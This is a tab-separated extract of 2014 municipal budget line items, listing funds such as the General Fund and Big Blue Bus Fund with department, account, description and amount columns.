6071	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	397794.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	397794.0
6072	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	519610.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	519610.0
6073	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	12128.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12128.0
6074	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	444094.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	444094.0
6075	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	406071.0	PLAYA VISTA	650.0	Charges for Service	2014	-642010.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-642010.0
6076	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	404650.0	INTEREST-CIVIC PKG STR BONDS	616.0	Investment Income	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6077	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	408000.0	INTERFUND SERVICES-ENG	612.0	Charges for Service	2014	-298599.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-298599.0
6078	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511749.0	VISION	840.0	Salaries and Wages	2014	3021.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3021.0
6079	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2014	15566.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15566.0
6080	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2014	241346.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	241346.0
6081	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2014	1028946.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1028946.0
6082	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2014	66047.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	66047.0
6083	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2014	72445.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	72445.0
6084	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2014	88748.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	88748.0
6085	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2014	1700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1700.0
6086	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2014	9051.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9051.0
6087	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		EAP	804.0	Salaries and Wages	2014	931.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	931.0
6088	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	10406.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10406.0
6089	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		EAP	804.0	Salaries and Wages	2014	835.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	835.0
6090	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		DCAP	804.0	Salaries and Wages	2014	576.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	576.0
6091	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		DCAP	804.0	Salaries and Wages	2014	360.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	360.0
6092	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		EAP	804.0	Salaries and Wages	2014	2175.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2175.0
6093	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS		DCAP	804.0	Salaries and Wages	2014	996.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	996.0
6094	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	2509.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2509.0
6095	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	3330.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3330.0
6096	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D[	810.0	Salaries and Wages	2014	2151.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2151.0
6097	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	2742.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2742.0
6098	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	622.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	622.0
6099	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	2941.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2941.0
6100	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	8220.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8220.0
6101	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	54769.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	54769.0
6102	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	5698.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5698.0
6103	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	1548.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1548.0
6104	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	1838.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1838.0
6105	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	420.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	420.0
6106	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		DCAP	812.0	Salaries and Wages	2014	756.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	756.0
6107	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		DCAP	812.0	Salaries and Wages	2014	786.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	786.0
6108	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2014	3090.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3090.0
6109	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		DCAP	812.0	Salaries and Wages	2014	2172.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2172.0
6110	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		DISABILITY INSURANCE	812.0	Salaries and Wages	2014	18218.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18218.0
6111	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		EAP	816.0	Salaries and Wages	2014	313.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	313.0
6112	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	3236.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3236.0
6113	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV		UNEMPLOYMENT	806.0	Salaries and Wages	2014	42307.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	42307.0
6114	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV		DISABILITY INSURANCE	806.0	Salaries and Wages	2014	66915.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	66915.0
6115	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		UNEMPLOYMENT	806.0	Salaries and Wages	2014	7815.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7815.0
6116	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		DISABILITY INSURANCE	806.0	Salaries and Wages	2014	4410.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4410.0
6117	BA	IS	1	General Fund	310	FIRE	315	TRAINING		DCAP	806.0	Salaries and Wages	2014	204.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	204.0
6118	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		DISABILITY INSURANCE	840.0	Salaries and Wages	2014	29957.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29957.0
6119	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	3686.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3686.0
6120	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	265.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	265.0
6121	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	5325.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5325.0
6122	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6123	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511748.0	DENTAL	804.0	Salaries and Wages	2014	7700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7700.0
6124	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	6167.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6167.0
6125	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	3366.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3366.0
6126	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	28000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28000.0
6127	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	19503.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19503.0
6128	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	3087.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3087.0
6129	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	566640.0	STATE RECYCLING PROGRAM	808.0	 Supplies and Expenses	2014	44500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	44500.0
6130	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	4410.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4410.0
6131	BA	IS	53	Parks and Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	514	OPEN SPACE MANAGEMENT	402950.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6132	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401900.0	FALSE ALARM	612.0	Charges for Service	2014	-8000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-8000.0
6133	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	555110.0	LEGAL EXPENSE		 Supplies and Expenses	2014	153750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	153750.0
6134	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511774.0	RETIREMENT - AS NEEDED	816.0	Salaries and Wages	2014	2844.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2844.0
6135	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407480.0	AIRPORT PARK DROP IN PROGRAM	612.0	Charges for Service	2014	-9585.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9585.0
6136	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT	908.0	 Supplies and Expenses	2014	-3883674.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3883674.0
6137	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		UNEMPLOYMENT		Salaries and Wages	2014	2547.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2547.0
6138	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522130.0	UTILITIES - WATER		 Supplies and Expenses	2014	107317.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	107317.0
6139	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522310.0	OFFICE SUPPLIES / EXPENSES		 Supplies and Expenses	2014	18717.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18717.0
6140	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522950.0	CNG FUEL		 Supplies and Expenses	2014	4130.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4130.0
6141	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	577050.0	PROPERTY TAXES		 Supplies and Expenses	2014	9186.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9186.0
6142	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2014	15301.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15301.0
6143	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	3600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3600.0
6144	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544340.0	INDIRECT COST ALLOCATION	804.0	 Supplies and Expenses	2014	309583.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	309583.0
6145	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	566260.0	SPECIAL EVENTS		 Supplies and Expenses	2014	15000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15000.0
6146	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	407610.0	I-NET REVENUE	612.0	Charges for Service	2014	-35700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-35700.0
6147	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	6928.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6928.0
6148	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	14164.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14164.0
6149	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	2565.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2565.0
6150	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	19119.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19119.0
6151	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		EAP	804.0	Salaries and Wages	2014	1148.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1148.0
6152	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511748.0	DENTAL	804.0	Salaries and Wages	2014	12975.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12975.0
6153	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	10647.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10647.0
6154	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	94968.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	94968.0
6155	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	13752.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13752.0
6156	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511490.0	OVERTIME	804.0	Salaries and Wages	2014	1574.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1574.0
6157	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		UNEMPLOYMENT	804.0	Salaries and Wages	2014	4889.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4889.0
6158	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	3082.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3082.0
6159	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	6876.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6876.0
6160	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	768.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	768.0
6161	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		DCAP	804.0	Salaries and Wages	2014	264.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	264.0
6162	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
6163	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1006377.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1006377.0
6164	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	856.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	856.0
6165	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	566120.0	EMPLOYEE SERVICE AWARDS	804.0	 Supplies and Expenses	2014	39500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	39500.0
6166	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588500.0	MISCELLANEOUS EQUIPMENT	808.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
6167	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	229911.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	229911.0
6168	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400850.0	SWIM CENTER-SMC	612.0	Charges for Service	2014	-345000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-345000.0
6169	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401003.0	SWIM CENTER-SWIM PASSES	612.0	Charges for Service	2014	-227623.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-227623.0
6170	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400660.0	TECHNOLOGY ENHANCEMENT FEE	612.0	Charges for Service	2014	-273105.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-273105.0
6171	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	1452.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1452.0
6172	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	2236.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2236.0
6173	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561402.0	CLINICAL SUPERVISION		 Supplies and Expenses	2014	7385.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7385.0
6174	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	33074.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	33074.0
6175	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	44528.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	44528.0
6176	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	1482.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1482.0
6177	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE	810.0	Salaries and Wages	2014	997.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	997.0
6178	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	173336.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	173336.0
6179	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	209.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	209.0
6180	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578310.0	POLICE BEACH PATROL	810.0	 Supplies and Expenses	2014	325128.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	325128.0
6181	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	577940.0	REIMB FOR PARKING EXPEND	810.0	 Supplies and Expenses	2014	1782557.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1782557.0
6182	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	406000.0	ESTIMATED FEE INCREASES	650.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6183	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577703.0	PROP A REIMBURSEMENT-ADMIN		 Supplies and Expenses	2014	-50000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-50000.0
6184	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407790.0	CHILDCARE LINKAGE FEE	612.0	Charges for Service	2014	-572165.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-572165.0
6185	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	95052.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	95052.0
6186	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522620.0	RENT	804.0	 Supplies and Expenses	2014	47997.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	47997.0
6187	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	6430.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6430.0
6188	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	5839.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5839.0
6189	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522115.0	UTIL-LIGHT/POWER-LIBRARY PARKI	816.0	 Supplies and Expenses	2014	90421.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	90421.0
6190	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555870.0	GROCERY & SUNDRY ITEMS	810.0	 Supplies and Expenses	2014	37841.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	37841.0
6191	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	408000.0	INTERFUND SERVICES-RES	612.0	Charges for Service	2014	-250000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-250000.0
6192	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	3075.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3075.0
6193	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	2961.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2961.0
6194	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6195	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2014	42362.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	42362.0
